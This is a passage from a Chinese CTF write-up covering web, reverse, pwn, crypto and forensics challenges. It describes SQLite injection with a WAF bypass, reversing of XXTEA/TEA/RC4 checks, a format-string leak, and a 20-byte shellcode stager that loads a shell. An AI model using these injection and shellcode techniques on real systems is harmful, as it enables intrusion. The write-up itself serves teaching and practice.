[{id: 3, cpu: "5%", ...}]
分析:
3|3(按位或) 的结果是3。请求 2:
.../query.php?id=3%7C4(URL编码的3|4)1
[{id: 7, cpu: "78%", ...}]
分析:
3|4(按位或) 的结果是7。
结论: id 参数被直接拼接到 SQL 查询中,存在整数型注入漏洞。
Step 2: WAF 规则探测
探测哪些字符和语法被禁止
1 | import requests |
结论: 几乎所有常见的空白符、注释符、逗号和括号都被 WAF 拦截,唯一的例外是 Tab 字符 (%09),所有后续的 payload 都将使用 %09 代替空格
Step 3: 信息收集
确定真实列数:
1 | import requests |
测试结果:
脚本在 ORDER BY 6 时失败,证明了原始查询的真实列数是 5
数据库指纹识别与结构探测:
1 | import requests |
测试结果:
- 查询不存在的表时,返回了包含
Unable to prepare statement的错误,这是 SQLite 的典型特征。 - 查询
sqlite_master成功,返回了数据库的完整结构:结论: 数据库为 SQLite,存在1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19- 表名: node_status
- 所属表: node_status
- 创建语句: CREATE TABLE node_status (
node_id INTEGER PRIMARY KEY,
cpu_usage VARCHAR(10),
ram_usage VARCHAR(10),
status VARCHAR(15) CHECK(status IN ('Online','Offline','Maintenance')),
last_checked DATETIME DEFAULT CURRENT_TIMESTAMP
)
- 表名: sqlite_sequence
- 所属表: sqlite_sequence
- 创建语句: CREATE TABLE sqlite_sequence(name,seq)
- 表名: sys_config
- 所属表: sys_config
- 创建语句: CREATE TABLE sys_config (
id INTEGER PRIMARY KEY AUTOINCREMENT,
config_key VARCHAR(50) UNIQUE,
config_value TEXT
)node_status(5列),sqlite_sequence(2列), 和sys_config(3列) 三个表,flag 很有可能在sys_config中
Step 5: 跨表拼接
目标 sys_config 是 3 列,而 UNION 需要 5 列,且我们无法用逗号添加 NULL 来补齐,sys_config 表无法通过常规的 UNION SELECT * 读取。既然无法直接读取,我们就必须创造一个列数为 5 的数据源。我们有 sys_config (3列) 和 sqlite_sequence (2列),在 SQL 中可以用 JOIN 将两个表横向连接,列数正好是 5。
1 | import requests |
服务器返回以下数据:
1 | [ |
FLAG
1 | flag{4509550e-6eeb-4822-8b32-6c5015a1fc49} |
Reverse
尤皮·埃克斯历险记(1)
Challenge
你是一个生活在希尔大陆的小有名气的骑士,有一天,一个自称代号「尤皮·埃克斯」(UP·X)的骑士找到你,“来和我切磋吧!”他朝你嚷道。“
你有什么特殊本领或者特长吗?”
“我的‘尤皮·埃克斯’盔甲非常精良,能保护我不被刀剑所伤,还会自动阻止试图解析我的盔甲的特殊能力的人!如果你不信,就来试试挑战我吧!”
【难度:简单】
Solution
upx 脱壳之后丢给 mcp 分析:
我们已拿到主逻辑与加密函数。判定条件为:
- 先对输入做 encrypt,得到 out。
- 再逐字节 out[i] XOR K 与目标字节比较,K=0x3C(无调试器)或 K=0xC3(被调试)。
- 长度必须为 34。
- 目标字节序列来源:24 字节字面量
isfhGJ\tt~~cU\ny\nuTjcj\tT~~cj+ 8 字节 QWORD 0x5047B777E756451 + 2 字节 16753(LE 为 0x71,0x41)。为直接复原 flag,我将用系统 Python 计算:先构造目标 34 字节,XOR 0x3C 得到期望的加密输出,再按 encrypt 规则反推原始输入:
- 若 out 为 ‘0’..’9’,原字符为 chr(105 - out)
- 否则试图解 letter:c = (-69 - out) mod 256,若为字母则取该字母
- 否则原字符 = out(非字母数字保持不变)
1 | import struct |
FLAG
1 | flag{E4sy_R3v3rSe_e4Sy_eNcrypt10n} |
OhNativeEnc
Challenge
安卓的native代码在哪呢
【难度:简单】
Solution
先查看主函数 MainActivity
1 | package work.pangbai.ohnativeenc; |
里面提到 喵喵喵,需要分析的代码不在Java代码里呢,你能看看lib里的so文件吗,把 so 文件导出来用 IDA 打开分析,加密过程在 Java_work_pangbai_ohnativeenc_FirstFragment_checkFlag 函数里:
1 | char __fastcall Java_work_pangbai_ohnativeenc_FirstFragment_checkFlag(__int64 a1, __int64 a2, __int64 a3) |
这是 FirstFragment 类中的一个 JNI 函数,名为 checkFlag,它的作用就是接收输入并加密,最后与一个预设的正确结果进行比较
先找到两个关键变量:
1 | .rodata:0000000000000670 aThisisaxxteake db 'ThisIsAXXteaKey',0 ; DATA XREF: Java_work_pangbai_ohnativeenc_FirstFragment_checkFlag+F8↓o |
1 | .data:0000000000003080 mm db 0B6h, 53h, 6Eh, 4Dh, 77h, 5Dh, 8, 0D2h, 0FBh, 2Ch, 63h |
然后丢给 AI 写脚本:
1 | import struct |
FLAG
1 | flag{Ur_G00d_@_n@tive_Func} |
Forgotten_Code
Challenge
在清理一台古老服务器的硬盘时,我们发现了这个来自旧时代的编程遗迹。当时的开发者喜欢与机器直接对话。我们很难直接解读它,但也许你能重新整理这份文件,让你手上的工具再次发挥作用……
【难度:中等】
1 | .file "chal.cpp" |
Solution
1. 核心逻辑
- 输入验证: 程序要求输入
flag{...}格式的字符串,其中{}内的内容必须为 32 字节。 - 分块加密: 程序将
{}内的 32 字节数据分为 4 个 8 字节的块。 - 加密函数: 对每个块调用加密函数
_Z2fnPj,是标准的 TEA 加密算法 - 结果比对: 将 4 个块加密后的 32 字节结果与全局数据
ezgm进行比对
2. TEA 算法参数
- 密文 (Ciphertext): 存储在
ezgm数组中 - 密钥 (Key): 密钥派生自全局变量
ng(sp\x7fvuctp|xeb|hv~)
3. 交替密钥
加密函数 _Z2fnPj 在每次被调用时都会执行以下操作:
- 读取全局变量
ng的当前值 - 将其逐字节与
17(0x11) 进行异或 - 将异或结果写回
ng,覆盖其原始内容 - 使用这个新生成的值作为 TEA 密钥
由于 main 函数连续调用 _Z2fnPj 四次,导致 ng 的状态在两个值之间来回切换:
- 第 1、3 次调用 (处理块 0, 2):
- 密钥为
sp\x7fvuctp|xeb|hv~XOR 17=bangdreamitsmygo
- 密钥为
- 第 2、4 次调用 (处理块 1, 3):
- 密钥为
bangdreamitsmygoXOR 17=sp\x7fvuctp|xeb|hv~
- 密钥为
1 | import struct |
FLAG
1 | flag{4553m81y_5_s0o0o0_345y_jD5yQ5mD9} |
Look at me carefully
Challenge
真的需要仔细看吗?
【难度:中等】
Solution
- 输入长度验证
程序首先检查用户输入的字符串长度是否为 36:
1 | if ( &v8[strlen(v8) + 1] - &v8[1] == 36 ) |
- 目标字符串与处理流程
程序定义了一个硬编码的目标字符串:
1 | strcpy(cH4_1elo_ookte?0dv__alafle___5yygume, "cH4_1elo{ookte?0dv_}alafle___5yygume"); |
该字符串长度为 36,是验证时的期望结果。
随后,程序调用 sub_4016E0 函数 38 次,每次传入用户输入 v8 和一个固定的索引(如 27、5、6、9……)。虽然调用次数为 38,但最终仅前 36 字节参与比较
因此我们只需关注前 36 次有效调用中对应输入索引 < 36 的部分,提取这些索引得到处理顺序列表:
1 | order = [ |
- 函数行为分析
sub_4016E0 的作用是将 v8[a3](即 flag 的第 a3 个字符)经过一系列运算后,写入 v6 的下一个空位置(由当前 v6 长度 v5 决定)
尽管函数内部包含复杂的混淆逻辑,但关键观察如下:
- 每次调用
sub_4016E0时,v6的当前长度v5等于调用次数(从 0 开始) - 因此第
i次调用(i从 0 到 35)将结果写入v6[i] - 所有混淆操作(包括
sub_401300对内存的修改)在整体流程中 不改变输入字符与输出字节之间的一一对应关系,因为:- 混淆仅作用于
v6和v8的前几个字节 - 但
sub_4016E0每次处理的是 不同位置的输入字符 - 最终
v6的每个字节仅由 对应索引的输入字符唯一决定
- 混淆仅作用于
若假设 sub_4016E0 的净效果是恒等映射(即 v6[i] = v8[order[i]]),则重建的 flag 具有合法格式和语义,说明该假设成立。即使存在异或等简单变换,由于目标字符串已知,且变换可逆,最终仍能通过排列还原。
- 逆向重建 flag
设目标字符串为:
1 | T = "cH4_1elo{ookte?0dv_}alafle___5yygume" |
根据处理顺序 order,有:
1 | v6[0] = f(order[0]) = f(27) → 应等于 T[0] = 'c' |
因此 flag 的第 order[i] 个字符等于 T[i]。
据此,初始化一个长度为 36 的字符数组 flag,遍历 i = 0 到 35:
1 | flag[order[i]] = T[i] |
逐位填充后得到:
1 | 索引: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
拼接后得到完整 flag:
1 | flag{H4ve_you_lo0ked_at_me_c1o5ely?} |
FLAG
1 | flag{H4ve_you_lo0ked_at_me_c1o5ely?} |
采一朵花,送给艾达(1)
Challenge
哎呀我手动分析得了MVP
IDA反汇编不出来,躺赢狗
【难度:中等】
Solution
1. 关键逻辑定位
通过函数与字符串交叉观察,确定核心逻辑在
main,涉及:- 输入读取到缓冲
Str,随后长度校验为 0x28(40) - 密钥字符串:“EasyJunkCodes”
- 初始化 RC4 状态
rc4_init,对拷贝后的输入缓冲var_430调用rc4_crypt - 将处理结果逐字节与期望数组
var_560比较,相等输出成功提示
- 输入读取到缓冲
main汇编关键路径(省略与流程无关的干扰指令):scanf("%s", Str)读取输入strlen(Str)->var_14,并比较var_14 == 0x28- 准备密钥指针到
"EasyJunkCodes",调用rc4_init(&var_530, key, key_len) - 将输入拷贝到工作缓冲
var_430,然后rc4_crypt(&var_530, var_430, var_14) - 循环比较:
var_430[i]与var_560[i](共40字节)
2. 期望数组 var_560 的构造来源
var_560由 5 个 QWORD 立即数按小端写入组成(总计40字节)。在main的常量写入序列中可见如下立即数:- 前16字节(两个 QWORD):
- qword0 = 0x1175640343C17FC7
- qword1 = 0xDF23C0F6558CB888
- 后24字节(三个 QWORD):
- 0xF2F082F69E2E0F4D
- 0xE1278329086B51BC
- 0x4E4F80B188C6BDCB
- 前16字节(两个 QWORD):
小端拼接说明:每个 QWORD 按低字节先的顺序展开为 8 个字节,依次连接为期望数组的 40 个元素
3. RC4 变体语义重建
rc4_init(两阶段):
- 填充状态 S:
S[i] = (-i) & 0xFF,i 从 0..255 - KSA-like 置换(结合密钥):
j = (S[i] + j + key[i % key_len]) & 0xFF- 交换:
swap(S[i], S[j])
- 填充状态 S:
rc4_crypt(PRGA变体与输出规则):
- 每字节步进:
i = (i + 1) & 0xFFj = (j + S[i]) & 0xFFswap(S[i], S[j])t = (S[i] + S[j]) & 0xFFk = S[t](当次密钥流字节)
- 输出规则(与输入相加):
cipher[i] = plain[i] + k(字节加法 mod 256)- 因而解密为:
plain[i] = (expected[i] - k) & 0xFF
- 因而解密为:
- 每字节步进:
4. 解密方法步骤
- 密钥固定为
"EasyJunkCodes";key_len 为该字符串长度 - 按 3. 的 rc4_init 与 rc4_crypt 语义生成 40 字节密钥流
keystream[0..39] - 构造
expected[0..39]:- 先将 qword0、qword1 展开并拼为前 16 字节
- 再将后三个 QWORD 展开并拼为后 24 字节
- 逐字节计算明文:
flag[i] = (expected[i] - keystream[i]) & 0xFF,i = 0..39
- 将所得字节按 ASCII 解码,即为最终输入字符串
1 | import argparse |
FLAG
1 | flag{Junk_C0d3s_4Re_345y_t0_rEc0gn1Ze!!} |
Pwn
刻在栈里的秘密
Challenge
欢迎来到 x64 位餐厅!服务员 printf 先生有点健忘,他只能记住您菜单上的前 6 道菜 (RDI, RSI, RDX…),再多就只能堆在摇摇晃晃的餐盘 (栈) 上了。更糟糕的是,他会把你写的菜单原封不动地大声念出来。你能设计一份别有用心的菜单,让他念着念着,就把秘密房间的密码念给你听吗?
【难度:简单】
Solution
1 | 现在有一个密码隐藏在栈上(•̀ᴗ• ) |
FLAG
1 | flag{149eefbb-de23-4754-9333-76cb12ff0bb7} |
input_small_function
Challenge
密码的为什么能输入的字符这么少
【难度:中等】
Solution
先分析主函数:
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
- mmap:程序在固定的、已知的地址
0x114514申请了一页内存。关键在于权限prot=7,即PROT_READ | PROT_WRITE | PROT_EXEC,这是一块可读可写可执行(RWX)的内存区域。 - read:程序向这块内存中读取用户输入,但长度被严格限制在
0x14,即20个字节。 - call:程序直接将用户输入的内容当作机器码来执行。
漏洞点在于我们可以直接向一块可执行内存写入并执行任意代码,挑战在于只有 20字节 的空间,而一个标准的 64 位 shellcode 通常需要超过20字节。
为了绕过20字节的限制可以采用分阶段加载的策略:
- 第一阶段:先发送一段极小的 “加载器” shellcode(stager),它必须小于等于20字节。这个 stager 的功能是再次调用
read系统调用,从标准输入读取一段更长的 shellcode 到0x114514这个地址。 - 第二阶段:当 stager 执行并阻塞在
read时再发送用于获取 shell 的完整 shellcode。 - 控制流转移:当第二次
read完成后,第二阶段的 shellcode 会覆盖掉第一阶段的 stager,因此,stager 必须在最后包含一条指令,将程序执行流(RIP)重新导向0x114514的开头,以确保发送的第二阶段 shellcode 能从头开始被完整执行。
1. 第一阶段:
stager 需要完成两件事:
- 执行
read(0, 0x114514, 0x50) - 跳转回
0x114514
为了将代码压缩到20字节内,构造如下汇编指令:
1 | ; 调用 read(0, 0x114514, 0x50) - 13 bytes |
这段 shellcode 的总长度为 13 + 7 = 20 字节,正好满足题目 0x14 字节的限制。
2. 第二阶段:
使用 pwntools 的 shellcraft 模块来生成 shellcode:
1 | stage2_shellcode = asm(shellcraft.sh()) |
exp 如下:
1 | # -*- coding: utf-8 -*- |
FLAG
1 | flag{69e91513-a99d-403b-8f3f-0afd9ec5b32e} |
Crypto
置换
Challenge
我一看数学就头疼怎么办?(把解密出的文本用flag{}裹上提交)
【难度:中等】
Hello, guys!
Let’s learn something new today.^1
在一个集合(例如 ${1,2,3}$)中,置换是一个把集合元素重新排列的函数。
例如:
$$\sigma(1)=2, \quad \sigma(2)=3, \quad \sigma(3)=1$$我们可以可视化为:
$$1 \rightarrow 2 \rightarrow 3 \rightarrow 1$$或者使用 轮换表示法(cycle notation):
$$(1;2;3)$$如果想组合两个置换 $\sigma_1$ 和 $\sigma_2$,写作:
$$\sigma_2 \circ \sigma_1(x) = \sigma_2(\sigma_1(x))$$例子:
$$(1;3;2;5;4)(1;2;3;4;5) = (1;5;3)$$
把字母映射到数字:
$$A=1, B=2, \dots, Z=26$$我们定义一个置换 $\mathrm F$,它是 两个简单 $S_{26}$ 置换的复合:
$$
\mathrm F = (1;2;3;4;5;6;7)(8;9;10;11;12;13;14) \circ (1;3;5;7)(2;4;6)(8;10;12;14)
$$加密操作:
$$
\mathrm{F}(\text{Message}) = \text{Ciphertext}
$$例子:
$$
(1;2;3)(4;5) \text{ applied to } B C A E D F \quad \Rightarrow \quad C A B D E F
$$
你的密文:
SUFK_D_SJNPHA_PARNUTDTJOI_WJHH_GACJIJTAHY_IOT_STUNP_YOU.
Solution
加密是函数 F 的应用:
$$
\text{Ciphertext} = \mathrm{F}(\text{Message})
$$
其中 $\mathrm F = \sigma_2 \circ \sigma_1$解密是应用 F 的逆函数:
$$
\text{Message} = \mathrm{F}^{-1}(\text{Ciphertext})
$$对于复合函数,逆的顺序是相反的:
$$
\mathrm{F}^{-1} = (\sigma_2 \circ \sigma_1)^{-1} = \sigma_1^{-1} \circ \sigma_2^{-1}
$$
这意味着解密时,我们需要先应用 $\sigma_2$ 的逆,再应用 $\sigma_1$ 的逆只需将轮换中的元素顺序颠倒即可求得一个轮换的逆:例如轮换 $(1;2;3)$ 的作用是 $1 \to 2, 2 \to 3, 3 \to 1$,它的逆操作就是 $1 \to 3, 3 \to 2, 2 \to 1$,也就是轮换 $(1;3;2)$ 或 $(3;2;1)$
计算 $\sigma_1^{-1}$ 和 $\sigma_2^{-1}$:
- $\sigma_1 = (1;3;5;7)(2;4;6)(8;10;12;14)$
$$
\sigma_1^{-1} = (7;5;3;1)(6;4;2)(14;12;10;8)
$$ - $\sigma_2 = (1;2;3;4;5;6;7)(8;9;10;11;12;13;14)$
$$
\sigma_2^{-1} = (7;6;5;4;3;2;1)(14;13;12;11;10;9;8)
$$
- $\sigma_1 = (1;3;5;7)(2;4;6)(8;10;12;14)$
编写Python脚本解题:
- 定义一个函数,将轮换表示法(字符串)转换为一个字典,方便查找映射关系。
- 创建 $\sigma_1^{-1}$ 和 $\sigma_2^{-1}$ 的映射字典。
- 遍历密文,对每个字母执行解密操作:
字母 -> 数字 -> 应用 σ₂⁻¹ -> 应用 σ₁⁻¹ -> 数字 -> 字母。 - 非字母字符(如
_和.)保持不变。
1 | import re |
FLAG
1 | flag{SUCH_A_SIMPLE_PERMUTATION_WILL_DEFINITELY_NOT_STUMP_YOU.} |
FHE: 0 and 1
Challenge
千里之堤,溃于蚁穴
【难度:简单】
1 | import uuid |
Solution
加密逻辑分析
密钥
p:脚本的核心秘密是一个128位的素数p,这个p在整个加密过程中保持不变,但没有被保存到任何文件中。因此解密的第一步就是恢复p公钥
public_keys:每个公钥pk_i的生成方式是pk_i = p * rand_multiplier + rand_offsetrand_multiplier是一个非常大的随机整数rand_offset是一个非常小的随机整数,范围是[1, 10]- 这意味着
pk_i非常接近p的某个倍数,如果我们计算pk_i % p,结果就是rand_offset - 由于所有的
pk_i都共享同一个p,这给了我们一个找到p的突破口,p是所有(pk_i - r_i)的一个“近似”公因子,其中r_i是我们不知道的小偏移量
密文
ciphertext:每个密文c_i的生成方式是c_i = int(bit) + small_noise + large_noisebit是 0 或 1small_noise是2 * random.randint(...),这意味着small_noise永远是偶数large_noise是p * random.randint(...),这意味着large_noise永远是p的倍数
解题思路
步骤一:恢复素数 p
我们观察公钥的结构 pk_i = p * q_i + r_i(这里用 q_i 代表 rand_multiplier,r_i 代表 rand_offset)。
因为我们不知道 r_i,所以不能直接通过求最大公约数(GCD)来找到 p。但是,r_i 的范围非常小(1到10)。我们可以利用这一点:
- 任意选取一个公钥,比如
pk_0 - 我们知道
pk_0 = p * q_0 + r_0,其中r_0是 1 到 10 之间的一个整数 - 我们可以遍历
r_0的所有可能值(从1到10) - 对于每一个猜测的
r_guess,我们计算M = pk_0 - r_guess,如果我们的猜测是正确的那么M就是p * q_0的值 - 现在
M应该有两个大素数因子p和q_0,我们可以对M进行质因数分解,p是一个128位的素数,所以我们只需要在因子中寻找一个128位的数 - 找到一个候选的
p之后我们需要验证它是否正确,可以用另一个公钥(比如pk_1)来验证,如果p是正确的,那么pk_1 % p的结果应该也在[1, 10]这个范围内,如果满足这个条件,我们几乎可以肯定已经找到了正确的p
步骤二:解密 ciphertext
观察密文的结构:c_i = bit + small_noise + large_noise
等式两边同时模 p:c_i % p = (bit + small_noise + large_noise) % p
因为 large_noise 是 p 的倍数,所以 large_noise % p = 0
等式变为:c_i % p = (bit + small_noise) % p
然后再对这个结果模 2:(c_i % p) % 2 = (bit + small_noise) % 2
因为 small_noise 是偶数,所以 small_noise % 2 = 0
等式变为:(c_i % p) % 2 = bit % 2
因为 bit 本身就是 0 或 1,所以 bit % 2 就是 bit 本身
得出结论: bit = (c_i % p) % 2
步骤三:恢复 flag
- 遍历所有密文
c_i,使用上面的公式计算出每一位bit - 将所有
bit拼接成一个二进制字符串 - 将二进制字符串按每8位进行分割
- 将每个8位的二进制块转换为其对应的ASCII字符
- 将所有字符拼接起来,就得到了原始的 flag
1 | import ast |
FLAG
1 | flag{3235c1ab-6830-480f-b5e0-39be40b94a7d} |
RSA_revenge
Challenge
Fermat和Euler在week1被击败了,这次他们大大升级卷土重来,聪明的你掏出了骨传导耳机和爆破弹,你能打出漂亮的防守吗?(方法不止一种哦,聪明的你能想到吗?)
【难度:困难】
1 | # 这段脚本把 flag 拆成两半并分别加密 |
Solution
第 1 部分 (par1 解密 m1)
- 目标:解密
c1得到m1,这是一个 RSA 加密,但模数n1不是两个素数的乘积,而是p1^t1 * p2^t2 * p3^t3 - 关键:要进行 RSA 解密,我们需要计算私钥
d1,这需要欧拉函数phi(n1) - 欧拉函数计算:
- 对于
n = p^k,phi(p^k) = p^k - p^(k-1) = p^(k-1) * (p-1) - 欧拉函数是积性函数,所以
phi(n1) = phi(p1^t1) * phi(p2^t2) * phi(p3^t3)
- 对于
- 解密步骤:
- 从
par1的输出中我们直接获得了素数列表lst和对应的指数t_i - 利用上面的公式计算出
phi(n1) - 计算私钥
d1 = inverse(e, phi(n1)) - 解密得到
m1 = pow(c1, d1, n1)
- 从
第 2 部分 (par2 解密 m2)
- 目标:解密
c2得到m2,这是一个三素数 RSA 问题 (n2 = p2 * q2 * r2),但我们有几个强大的hint - 利用
hint分解n2:hint2 = pow(m, r2, n2):根据费马小定理m^r2 ≡ m (mod r2),因此我们可以推断出hint2 ≡ m (mod r2)- 因为
c2 = pow(m, e, n2),所以c2 ≡ m^e (mod r2) - 将
m ≡ hint2 (mod r2)代入上式得到c2 ≡ hint2^e (mod r2) - 这意味着
c2 - hint2^e是r2的倍数,同时n2也是r2的倍数,因此我们可以通过计算gcd(c2 - pow(hint2, e, n2), n2)来求出r2 hint3 = p2 + q2:一旦求出r2就可以计算p2q2 = n2 // r2- 现在知道了
p2 + q2的值 (S = hint3) 和p2 * q2的值 (P = n2 // r2),可以解一个一元二次方程x^2 - S*x + P = 0来求出p2和q2,方程的解是(S ± sqrt(S^2 - 4P)) / 2
- 解密步骤:
- 使用上述
gcd技巧求出r2 - 计算
p2q2 = n2 // r2 - 使用
hint3和p2q2解二次方程,得到p2和q2 - 计算
phi(n2) = (p2 - 1) * (q2 - 1) * (r2 - 1) - 计算私钥
d2 = inverse(e, phi(n2)) - 解密得到
m2 = pow(c2, d2, n2)
- 使用上述
最后把 m1 和 m2 转换回字节并拼接
1 | from Crypto.Util.number import * |
FLAG
1 | flag{Ooooo6_y0u_kn0w_F3rm@t_and_Eu13r_v3ry_w3ll!!} |
群论小测试
Challenge
扣”循环群“变成群论高手
【难度:中等】
1 | # Sage 9.3 |
Solution
本挑战是一个基于群论的识别游戏。服务器会提供一个群的凯莱表(乘法表),但群元素的标签(0 到 n-1)是随机打乱的。我们需要在5轮中正确地识别出凯莱表所代表的群,从而获得 flag。服务器从一个预定义的群目录中选择群,且群的阶数不超过10。
解题思路
由于元素的标签是匿名的,我们无法通过直接比较凯莱表来识别群。解决此问题的关键在于利用群的同构不变量——这些属性不随元素的重新标记而改变。对于阶数较小的有限群,以下三个不变量的组合足以唯一地识别它们:
- 群的阶 (Order):群中元素的数量
n。这是最基本的不变量,可以直接从凯莱表的维度n x n得到。 - 交换性 (Abelian Property):群是否是阿贝尔群(即乘法满足交换律)。这可以通过检查凯莱表是否沿主对角线对称来判断(即
T[i][j] == T[j][i]对所有i, j成立)。 - 元素阶的分布 (Element Order Distribution):群中所有元素的阶(Order)构成的多重集。一个元素
g的阶是指最小的正整数k使得g^k等于单位元e。这个分布是识别群同构类型的强大指纹。
解题策略是:
- 构建指纹库:离线预计算服务器
CATALOG中所有可能出现的群(阶小于等于10)的指纹。每个群的指纹由其(阶, 是否为交换群, 排序后的元素阶列表)构成。 - 在线分析:对于服务器在每一轮发来的凯莱表,我们在线计算其对应的指纹。
- 匹配与回答:将在线计算出的指纹与预计算的指纹库进行匹配,找到对应的群的名称,然后发送给服务器。
解题步骤
步骤一:构建指纹库
我们首先需要分析服务器代码中的 CATALOG 列表,找出所有阶数小于等于10的群,并计算它们的指纹。
| 群名称 | 阶 (Order) | 是否交换 (Abelian) | 元素阶分布 (排序后) | 指纹 |
|---|---|---|---|---|
| C2 | 2 | True | 1, 2 | (2, True, (1, 2)) |
| C3 | 3 | True | 1, 3, 3 | (3, True, (1, 3, 3)) |
| V4 | 4 | True | 1, 2, 2, 2 | (4, True, (1, 2, 2, 2)) |
| C4 | 4 | True | 1, 2, 4, 4 | (4, True, (1, 2, 4, 4)) |
| C5 | 5 | True | 1, 5, 5, 5, 5 | (5, True, (1, 5, 5, 5, 5)) |
| S3 | 6 | False | 1, 2, 2, 2, 3, 3 | (6, False, (1, 2, 2, 2, 3, 3)) |
| C6 | 6 | True | 1, 2, 3, 3, 6, 6 | (6, True, (1, 2, 3, 3, 6, 6)) |
| C7 | 7 | True | 1, 7, 7, 7, 7, 7, 7 | (7, True, (1, 7, 7, 7, 7, 7, 7)) |
| D4 | 8 | False | 1, 2, 2, 2, 2, 2, 4, 4 | (8, False, (1, 2, 2, 2, 2, 2, 4, 4)) |
| Q8 | 8 | False | 1, 2, 4, 4, 4, 4, 4, 4 | (8, False, (1, 2, 4, 4, 4, 4, 4, 4)) |
| C8 | 8 | True | 1, 2, 4, 4, 8, 8, 8, 8 | (8, True, (1, 2, 4, 4, 8, 8, 8, 8)) |
| C9 | 9 | True | 1, 3, 3, 9, 9, 9, 9, 9, 9 | (9, True, (1, 3, 3, 9, 9, 9, 9, 9, 9)) |
| D5 | 10 | False | 1, 2, 2, 2, 2, 2, 5, 5, 5, 5 | (10, False, (1, 2, 2, 2, 2, 2, 5, 5, 5, 5)) |
| C10 | 10 | True | 1, 2, 5, 5, 5, 5, 10, 10, 10, 10 | (10, True, (1, 2, 5, 5, 5, 5, 10, 10, 10, 10)) |
这些指纹在给定的群列表中是唯一的。我们将这些数据硬编码到一个 Python 字典中,用于快速查找。
步骤二:编写自动化脚本 (Online)
我们使用 pwntools 库来与服务器进行交互。脚本的核心逻辑分为两部分:解析凯莱表和计算其指纹。
解析凯莱表 (
parse_table):- 从服务器的输出中,通过正则表达式
order n=(\d+)找到群的阶n。 - 定位到表格数据前的
---分隔线。 - 从分隔线后读取
n行数据。 - 将每一行字符串解析为数字列表,并去掉行号,最终构建一个
n x n的整数矩阵。
- 从服务器的输出中,通过正则表达式
识别群 (
identify_group):- 计算阶:
n = len(table)。 - 判断交换性: 遍历表格,检查
table[i][j] == table[j][i]是否对所有i, j成立。 - 寻找单位元: 遍历所有元素
i(从0到n-1),找到那个满足table[i][j] == j(行) 且table[j][i] == j(列) 的i。这个i就是单位元的匿名标签。 - 计算元素阶分布:
- 对于每一个元素
x(标签为i),初始化其阶order = 1。 - 计算
x^2 = table[i][i],x^3 = table[table[i][i]][i], … 直到结果等于单位元的标签。 - 迭代的次数就是元素
x的阶。 - 收集所有
n个元素的阶。
- 对于每一个元素
- 生成指纹: 将
(阶, 交换性, 排序后的元素阶列表)组合成一个元组。 - 匹配: 在预计算的指纹库中查找这个元组,返回对应的群名称。
- 计算阶:
1 | from pwn import * |
FLAG
1 | flag{I_v3_b3c0m3_@n_e^3Rt_in_gr0up_7h30ry_@Ft3r_5o1ving_7hi5_+++bl3m!!!} |
DLP_1
Challenge
sagemath中好像有现成的工具?
【难度:简单】
Solution
加密逻辑分析
代码流程:
- 脚本将一个长度为 18 字节的
flag核心内容 (inner) 分成了 3 个 6 字节长的部分 (parts) - 对于每个部分,脚本执行了以下操作:
- 将 6 字节的
part转换为一个大整数x(bytes_to_long) - 生成一个 48 位的素数
p - 找到
p的一个原根g - 计算
h = pow(g, x, p),即h ≡ g^x (mod p)
- 将 6 字节的
- 最后输出三组
(p, g, h)的值
- 脚本将一个长度为 18 字节的
核心问题:
我们的任务是根据已知的p,g,h,反向求解出x具体来说,我们需要解三个独立的离散对数方程:
5^x₀ ≡ 78860859934701 (mod 189869646048037)3^x₁ ≡ 89478248978180 (mod 255751809593851)3^x₂ ≡ 81479747246082 (mod 216690843046819)
解决方法:
离散对数问题在通用情况下是困难的,但当模数p相对较小时我们可以使用一些算法来解决它:- 模数
p是 48 位的,这意味着p的大小约在2^47到2^48之间 - 对于这个规模的数字,BSGS 算法是一个非常有效的解决方法,该算法的时间复杂度和空间复杂度都是
O(sqrt(p))
- 模数
大步小步算法 (BSGS) 简介
我们要解 g^x ≡ h (mod p):
- 令
m = ceil(sqrt(p-1)),其中ceil是向上取整 - 我们可以把
x表示为x = i*m - j,其中0 <= i,j < m - 方程变为
g^(i*m - j) ≡ h (mod p) - 整理得
(g^m)^i ≡ h * g^j (mod p) - 小步 (Baby Steps):我们计算右边的
h * g^j对于所有j(0 <= j < m) 的值,并将结果{ (h * g^j mod p) : j }存入一个哈希表中 - 大步 (Giant Steps):我们计算左边的
(g^m)^i对于所有i(1 <= i <= m) 的值,并在哈希表中查找 - 一旦找到匹配项,即
(g^m)^i的值在哈希表中,我们就找到了对应的i和j - 最终解
x = i*m - j
注意:x 也可以表示为 x = i*m + j,这样方程变为 g^j ≡ h * (g^-m)^i (mod p)。两种形式都可以,实现上略有不同但原理一致。第二种形式更常见,因为它避免了在“大步”中计算 h 的逆。
1 | from Crypto.Util.number import long_to_bytes |
FLAG
1 | flag{I_l0v3_DLPPPPP^.^!} |
Week 3
Misc
日志分析-盲辨海豚
Challenge
城邦附近的水域突然出现了成群的海豚,导致城邦原本的海豚群被冲散。城邦的海豚会在半夜发出不同的回响,现在需要挑战者们通过声音帮助城邦找回走丢的海豚们
【难度:简单】
Solution
日志文件记录了**布尔盲注(Boolean-Based Blind SQL Injection)**攻击。攻击者通过构造 AND 后面的逻辑条件(如 length(database())=4)来判断条件的真假。
原理:
- 构造真/假问题:在 SQL 查询中注入一个逻辑判断语句
- 观察响应差异:
- 条件为 真 返回一个特定内容或状态的页面
- 条件为 假 返回另一个不同的内容或状态的页面
- 推断信息:通过观察响应的差异逐个字符地推断出数据库信息
在题目日志中可以看到:
- 当条件为 假 时(例如
length(database())=3),响应体的大小为 22 字节 - 当条件为 真 时(例如
length(database())=4),响应体的大小为 6 字节
因此 响应大小为 6 就是判断“真”的标志,可以利用这个标志来找出所有成功的猜测,拼起来就是 flag 了
1 | import re |
FLAG
1 | flag{SQL_injection_logs_are_very_easy} |
流量分析-S7的秘密
Challenge
人们在虚拟大陆逐渐适应,为了更好的生活,城邦们正在大力发展第二产业。但是一个陈旧的机器突然接收到了信号,值班的工人们紧急捕获了信号发生后的信息,挑战者们可以帮助工业破译接收到的信息吗?请将信息放在flag{}内提交
【难度:简单】
Solution
这段流量的核心是一系列从客户端 (192.168.0.100) 发往PLC (192.168.0.25) 的 写变量(Write Var) 操作
- 分析所有客户端发出的写变量请求(即报文3, 5, 7, 9…),并提取出两个关键信息:
- 写入的目标地址 (Byte Address)
- 写入的数据 (Data)
- 注意到这些写入操作的目标地址并不是按顺序的,而是被打乱的,因此我们需要根据内存地址来重新排列这些数据:
